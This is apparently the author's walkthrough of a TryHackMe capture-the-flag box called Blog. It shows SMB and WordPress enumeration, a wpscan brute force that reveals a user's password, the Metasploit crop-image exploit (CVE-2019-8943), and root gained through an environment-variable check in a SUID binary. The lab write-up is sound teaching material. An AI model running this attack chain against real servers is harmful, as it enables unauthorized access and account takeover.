Blog.md
Errata
After doing this locally and uploading it to THM, I ran into multiple issues with getting the Wordpress site to recognize the IP it was given from AWS. To get around this, I assigned a ServerName in the Virtual Hosts file for Apache. Add blog.thm {IP_ADDRESS}
to your /etc/hosts file in order to complete this box.
Introduction
This writeup is for my box, Blog, submitted on TryHackMe.com. The box is a challenge style box that has the user's enumerate the WordPress blog that is located on it. Once they have enumerated enough, they should have credentials for a low privilege user that has a weak password. Once they have that, they are able to execute CVE-2019-8943.
Enumeration
Port Enumeration
We start by performing the basic enumeration on the box with our trusty tool, nmap. I like to use the below scan options but you are free to do whatever you'd like.
nmap -sC -sV -oA nmap/scans {IP_ADDRESS}
I'm testing this locally so my IP address is 192.168.196.134. We run the scan and find 4 ports open, http, ssh and smb (2 ports).
Since I know SSH isn't vulnerable here because I used some pretty good passwords, I'll leave that alone and we'll go look at the other ports. Let's start with SMB on 139 and 445.
Here is the nmap output:
Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-26 20:06 EDT
Nmap scan report for 192.168.196.139
Host is up (0.00025s latency).
Not shown: 996 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 57:8a:da:90:ba:ed:3a:47:0c:05:a3:f7:a8:0a:8d:78 (RSA)
| 256 c2:64:ef:ab:b1:9a:1c:87:58:7c:4b:d5:0f:20:46:26 (ECDSA)
|_ 256 5a:f2:62:92:11:8e:ad:8a:9b:23:82:2d:ad:53:bc:16 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-generator: WordPress 5.0
| http-robots.txt: 1 disallowed entry
|_/wp-admin/
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Billy Joel's IT Blog – The IT blog
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP)
Service Info: Host: BLOG; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_nbstat: NetBIOS name: BLOG, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.7.6-Ubuntu)
| Computer name: blog
| NetBIOS computer name: BLOG\x00
| Domain name: \x00
| FQDN: blog
|_ System time: 2020-05-27T00:06:54+00:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2020-05-27T00:06:54
|_ start_date: N/A
SMB (Ports 139 and 445)
Starting with SMB, we start our enumeration with smbclient
. The command is smbclient -L 192.168.196.139
(doing this locally, your IP will be different). And we get:
Sharename Type Comment
--------- ---- -------
print$ Disk Printer Drivers
BillySMB Disk Billy's local SMB Share
IPC$ IPC IPC Service (blog server (Samba, Ubuntu))
So Billy has an SMB share on his computer. This isn't surprising. From the nmap results, we can see that the account used is guest so we can login to it anonymously. Let's do that now.
smbclient \\\\192.168.196.139\\BillySMB
We're greeted with the familiar smb: \>
command line. So let's see what files are here.
smb: \> ls
. D 0 Tue May 26 14:17:05 2020
.. D 0 Tue May 26 13:58:23 2020
Alice-White-Rabbit.jpg N 33378 Tue May 26 14:17:01 2020
tswift.mp4 N 1236733 Tue May 26 14:13:45 2020
check-this.png N 3082 Tue May 26 14:13:43 2020
Two image files and a video file. Let's get all of them and take a look. I'll start with the video and I just gotta' say that it's hilarious so I won't spoil that.
So then we take a look at Alice-White-Rabbit.jpg
. It seems to be a fairly large-ish file but maybe there's something hidden in it. So let's check strings
first. It outputs garbage so that isn't it. Let's try exiftool
ExifTool Version Number : 11.98
File Name : Alice-White-Rabbit.jpg
Directory : .
File Size : 33 kB
File Modification Date/Time : 2020:05:26 21:54:18-04:00
File Access Date/Time : 2020:05:26 21:54:44-04:00
File Inode Change Date/Time : 2020:05:26 21:54:18-04:00
File Permissions : rw-r--r--
File Type : JPEG
File Type Extension : jpg
MIME Type : image/jpeg
JFIF Version : 1.02
Resolution Unit : None
X Resolution : 100
Y Resolution : 100
Image Width : 400
Image Height : 300
Encoding Process : Baseline DCT, Huffman coding
Bits Per Sample : 8
Color Components : 3
Y Cb Cr Sub Sampling : YCbCr4:4:4 (1 1)
Image Size : 400x300
Megapixels : 0.120
That's not much information either. Okay, so if stegonography is one way to go on this box, this last tool, steghide
will get it.
steghide extract -sf Alice-White-Rabbit.jpg
Enter passphrase:
wrote extracted data to "rabbit_hole.txt".
Great. I see where this is going.
You've found yourself in a rabbit hole, friend.
Yup. Moving on. The last file is another little gem that I won't spoil so you'll just have to see for yourself!
With the files finished, it seems this was a rabbit hole so let's move on to Port 80.
HTTP (Port 80)
So let's go ahead and open that webpage and see what we got. We open the webpage and we're greeted by a blog page.
We see the title of Billy Joel's IT Blog with a subtitle of "The IT blog". Kinda boring but if we look around it seems like he just got this set up. His first Welcome blog post is still visible and there only appears to be 2 posts, and that Welcome one is one of them. So the only other post we see is by his mom (aw, cute). It looks like shes offering some words of encouragement from his recent firing (not sure what that's about...yet).
So let's look at the page source to try to get a version and if they're using a CMS or not. So scrolling to the bottom in the footer, we see the following:
<footer id="site-footer" role="contentinfo" class="header-footer-group">
<div class="section-inner">
<div class="footer-credits">
<p class="footer-copyright">©
2020 <a href="http://192.168.196.139/">Billy Joel's IT Blog</a>
</p><!-- .footer-copyright -->
<p class="powered-by-wordpress">
<a href="https://wordpress.org/">
Powered by WordPress </a>
</p><!-- .powered-by-wordpress -->
</div><!-- .footer-credits -->
<a class="to-the-top" href="#site-header">
<span class="to-the-top-long">
To the top <span class="arrow" aria-hidden="true">↑</span> </span><!-- .to-the-top-long -->
<span class="to-the-top-short">
Up <span class="arrow" aria-hidden="true">↑</span> </span><!-- .to-the-top-short -->
</a><!-- .to-the-top -->
</div><!-- .section-inner -->
</footer>
Powered by Wordpress! Perfect! I think we have all we need here. Let's head into Kali to start working with wpscan
. I'll post only the interesting parts that we care about so it's not a giant wall of text.
Wordpress Interesting Entries
[+] http://192.168.196.139/robots.txt
| Interesting Entries:
| - /wp-admin/
| - /wp-admin/admin-ajax.php
| Found By: Robots Txt (Aggressive Detection)
| Confidence: 100%
Wordpress Version
[+] WordPress version 5.0 identified (Insecure, released on 2018-12-06).
| Found By: Rss Generator (Passive Detection)
| - http://192.168.196.139/feed/, <generator>https://wordpress.org/?v=5.0</generator>
| - http://192.168.196.139/comments/feed/, <generator>https://wordpress.org/?v=5.0</generator>
So now we can enumerate the users of the site.
[+] Enumerating Users (via Passive and Aggressive Methods)
Brute Forcing Author IDs - Time: 00:00:00 <====================================> (10 / 10) 100.00% Time: 00:00:00
[i] User(s) Identified:
[+] kwheel
| Found By: Author Posts - Author Pattern (Passive Detection)
| Confirmed By:
| Wp Json Api (Aggressive Detection)
| - http://192.168.196.139/wp-json/wp/v2/users/?per_page=100&page=1
| Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Login Error Messages (Aggressive Detection)
[+] bjoel
| Found By: Author Posts - Author Pattern (Passive Detection)
| Confirmed By:
| Wp Json Api (Aggressive Detection)
| - http://192.168.196.139/wp-json/wp/v2/users/?per_page=100&page=1
| Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Login Error Messages (Aggressive Detection)
This is really good information. I'm going to skip cracking bjoel's because I know it is uncrackable in the time limit that TryHackMe sets so we shall aim for kwheel.
[+] Performing password attack on Xmlrpc against 1 user/s
[SUCCESS] - kwheel / cutiepie1
...
[!] Valid Combinations Found:
| Username: kwheel, Password: cutiepie1
wpscan
returns a valid password fairly quickly. We see that it's "cutiepie1".
Now that we have that, we need to look for a way to get onto the box. So we try logging in with our newly found credentials. Sadly, we find that she is just set as an Author and cannot change anything else. So we need to start looking into possible CVEs for this version of Wordpress. This leads us to the exploitation section of this writeup.
Exploitation
We can use searchsploit
or head over to Exploit-DB and look. We'll use searchsploit
here.
Two exploits pop up for our version.
-------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
-------------------------------------------------------------------------------- ---------------------------------
WordPress Core 5.0 - Remote Code Execution | php/webapps/46511.js
WordPress Core 5.0.0 - Crop-image Shell Upload (Metasploit) | php/remote/46662.rb
We see that there's a Metasploit module for the second one so let's go ahead and try that by loading up msfconsole
.
Actually, searching "Wordpress 5.0" returns A LOT of results that we don't need or care about so let's just search "crop-image"
msf5 > search crop-image
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/multi/http/wp_crop_rce 2019-02-19 excellent Yes WordPress Crop-image Shell Upload
That's better. We'll use this and set our options and exploit. Once we do, we're given our meterpreter shell and we're in! Doing a whoami
returns that we are www-data
in the /var/www/wordpress
directory.
Post-Exploitation Enumeration
Reviewing the User's Home Directory
Once we're settled, we should take a look around and see what's here. An ls
will show us that we're in the var/www/wordpress
directory. Let's see if we can cd
to /home
.
www-data@blog:/home$ ls
bjoel
We can so this is good. We know that there's at least one user here called bjoel. This shouldn't be surprising though, considering we're on Billy's computer. Let's take a look at their directory.
www-data@blog:/home/bjoel$ ls
BillyJoel_Termination_May20-2020.txt user.txt
Hm...so we see a termination letter and a user.txt
file. Let's just quickly cat
them both out below.
www-data@blog:/home/bjoel$ cat BillyJoel_Termination_May20-2020.txt
5/20/2020
5/20/2020
Bill Joel,
This letter is to inform you that your employment with Rubber Ducky Inc. will end effective immediately on 5/20/2020.
You have been terminated for the following reasons:
• Repeated offenses regarding company removable media policy
• Repeated offenses regarding company Acceptable Use Policy
• Repeated offenses regarding tardiness
You will receive compensation up to and including today’s workday and any hours worked. This check will be mailed to you at your address on file.
As of 5/20/2020 you have:
• 0 hours unused leave
• 0 hours unused vacation
You are requested to return all company property by the end of the business day on 5/22/2020 or you will be charged with theft and prosecuted to the highest level.
If you have questions about policies you have signed, your compensation, benefits, or returning company property, please don’t contact anyone because we don’t care.
Sincerely,
Karen Lawson
HR Administrator – Rubber Ducky Inc.
klawson@rubberducky.net
410-555-4165
Well...that's interesting. We'll hold onto this for now. It might come in handy later.
Let's look at the next file.
You won't find what you're looking for here.
TRY HARDER
Looks like our user.txt
flag isn't where we normally think it would be. That's okay, sometimes we have to dig a little deeper.
We can poke around some more. Looking back at the termination letter, the first reason for termination was "Repeated offenses regarding company removable media policy"
. Let's look into that further. We know that typically things are mounted in /mnt and sometimes /media. So let's look in /media first. Maybe he was storing some files on it at home and left it plugged in.
Mounted Drives
www-data@blog:/home/bjoel$ cd /media
www-data@blog:/media$ ls
usb
Perfect. There's a usb mounted. It must be bjoel's. Let's try to get into it.
www-data@blog:/media$ cd usb
bash: cd: usb: Permission denied
Uh-oh. No can do. That's okay. I have a feeling we'll be back here. Let's poke around the machine more to see what we find. We could try to wget
our favorite Linux Enumeration script, linux-smart-enumeration and run that to see what it finds.
Uncommon SUID Binary
If we cd
to /tmp
we can use the nice wget
one-liner provided by diego. This drops our lse.sh script into /tmp
and we can run it. Once it completes, we can see this one interesting line:
[!] fst020 Uncommon setuid binaries........................................ yes!
---
/usr/sbin/checker
---
So there's an uncommon binary with its SUID bit set. Let's go take a look at this binary.
www-data@blog:/usr/sbin$ ls -la
...
drwxr-xr-x 2 root root 4096 May 26 18:27 .
drwxr-xr-x 10 root root 4096 Feb 3 18:22 ..
-rwsr-sr-x 1 root root 8432 May 26 18:27 checker
So it's owned by root but has the s
bit set on owner so we can execute it with root privileges. So first let's just run it and see what happens.
www-data@blog:/opt$ ./checker
Not an Admin
So it tells us we're not an Admin. Obviously. So here comes the hard part. We need to disassemble it and see what information we can glean from the code. Let's start with GDB
www-data@blog:/usr/sbin$ gdb ./checker
...
(gdb) disassemble main
Dump of assembler code for function main:
0x000000000000071a <+0>: push %rbp
0x000000000000071b <+1>: mov %rsp,%rbp
0x000000000000071e <+4>: sub $0x10,%rsp
0x0000000000000722 <+8>: lea 0xcb(%rip),%rdi # 0x7f4
0x0000000000000729 <+15>: callq 0x5c0 <getenv@plt>
0x000000000000072e <+20>: test %rax,%rax
0x0000000000000731 <+23>: setne %al
0x0000000000000734 <+26>: mov %al,-0x1(%rbp)
0x0000000000000737 <+29>: cmpb $0x0,-0x1(%rbp)
0x000000000000073b <+33>: je 0x75a <main+64>
0x000000000000073d <+35>: mov $0x0,%edi
0x0000000000000742 <+40>: callq 0x5f0 <setuid@plt>
0x0000000000000747 <+45>: lea 0xac(%rip),%rdi # 0x7fa
0x000000000000074e <+52>: callq 0x5e0 <system@plt>
0x0000000000000753 <+57>: mov $0x0,%eax
0x0000000000000758 <+62>: jmp 0x76b <main+81>
0x000000000000075a <+64>: lea 0xa3(%rip),%rdi # 0x804
0x0000000000000761 <+71>: callq 0x5d0 <puts@plt>
0x0000000000000766 <+76>: mov $0x0,%eax
0x000000000000076b <+81>: leaveq
0x000000000000076c <+82>: retq
End of assembler dump.
We see that it's making a call to getenv
. This helps us. It's also making some calls to setuid
and system
. So it's getting an environment variable value, setting the uid to something, then calling system
. We should be armed with enough information from this output to determine that its checking for an "admin" environment variable and allowing you to run something with a uid of some value if its true. So let's test this theory with export admin=true
www-data@blog:/usr/sbin$ export admin=true
www-data@blog:/usr/sbin$ echo $admin
true
Now let's run ./checker
again.
www-data@blog:/usr/sbin$ ./checker
root@blog:/usr/sbin#
Boom! So from here it's easy to cd
to ~
and grab root.txt
. But wait...we don't have user.txt
yet. So let's go back and try to get that. We can remember from before that /media/usb
was locked to us before. It shouldn't be now. Let's go back there and see what we find.
root@blog:/usr/sbin# cd /media/usb
root@blog:/media/usb# ls
user.txt
Bingo. With that last flag, we've completed the box and added another to our collection.
That's it for now...See ya Cyber Cowboy